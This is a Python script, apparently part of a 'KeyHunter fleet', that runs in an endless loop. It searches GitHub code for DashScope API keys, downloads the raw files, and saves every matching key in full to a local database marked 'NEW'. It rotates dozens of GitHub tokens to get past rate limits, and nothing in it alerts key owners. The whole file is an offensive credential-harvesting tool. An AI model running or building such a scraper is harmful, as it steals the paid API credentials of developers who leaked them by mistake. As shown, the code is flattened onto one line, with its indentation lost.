"""gitgraber_eternal.py — gitGraber wrapper for KeyHunter fleet. Monitors GitHub in real-time using gitGraber engine, extracts DashScope keys, saves to keys.db with prov='gitgraber'. """ import os, sys, time, hashlib, sqlite3, re KF_BASE = os.path.dirname(os.path.abspath(__file__)) sys.path.insert(0, os.path.join(KF_BASE, '..', 'gitGraber')) sys.path.insert(0, KF_BASE) DB = os.path.join(KF_BASE, 'data', 'keys.db') LOG = os.path.join(KF_BASE, 'gitgraber_eternal.log') REST = 300 # 5 min between cycles KEY_RE = re.compile(r'sk-[0-9a-f]{32}') def log(msg): line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n" print(line, end='') with open(LOG, 'a') as f: f.write(line) def main(): log(f"=== gitgraber eternal START pid={os.getpid()} ===") import gitGraber from config import GITHUB_TOKENS db = sqlite3.connect(DB) while True: try: # Use gitGraber's core search logic for token in GITHUB_TOKENS[:50]: # Rotate 50 tokens per cycle try: # Search with dashscope keywords query = 'dashscope+sk-+api_key' url = f'https://api.github.com/search/code?q={query}&sort=indexed&order=desc&per_page=30' import requests r = requests.get(url, headers={'Authorization': f'token {token}', 'User-Agent': 'gitgraber-eternal'}, timeout=15) if r.status_code != 200: if r.status_code == 403: continue break data = r.json() for item in data.get('items', [])[:10]: repo = item['repository']['full_name'] path = item['path'] html_url = item['html_url'] # Get raw content for branch in ['main', 'master']: raw = f'https://raw.githubusercontent.com/{repo}/{branch}/{path}' try: r2 = requests.get(raw, headers={'User-Agent': 'python'}, timeout=5) content = r2.text if len(content) < 100000: keys = set(KEY_RE.findall(content)) for k in keys: khash = hashlib.sha256(k.encode()).hexdigest()[:12] # INSERT IF NOT EXISTS existing = db.execute('SELECT id FROM keys WHERE hash=? AND val=?', (khash, k)).fetchone() if not existing: db.execute('INSERT INTO keys(hash,prov,val,status,plan,raw_url) VALUES(?,?,?,?,?,?)', (khash, 'gitgraber', k, 'NEW', '', html_url)) log(f" + {k[:40]}... {repo}") break except: continue except Exception as e: log(f" token error: {e}") continue db.commit() log(f"Cycle done. Sleeping {REST}s...") except Exception as e: log(f"ERROR: {e}") time.sleep(REST) if __name__ == '__main__': main()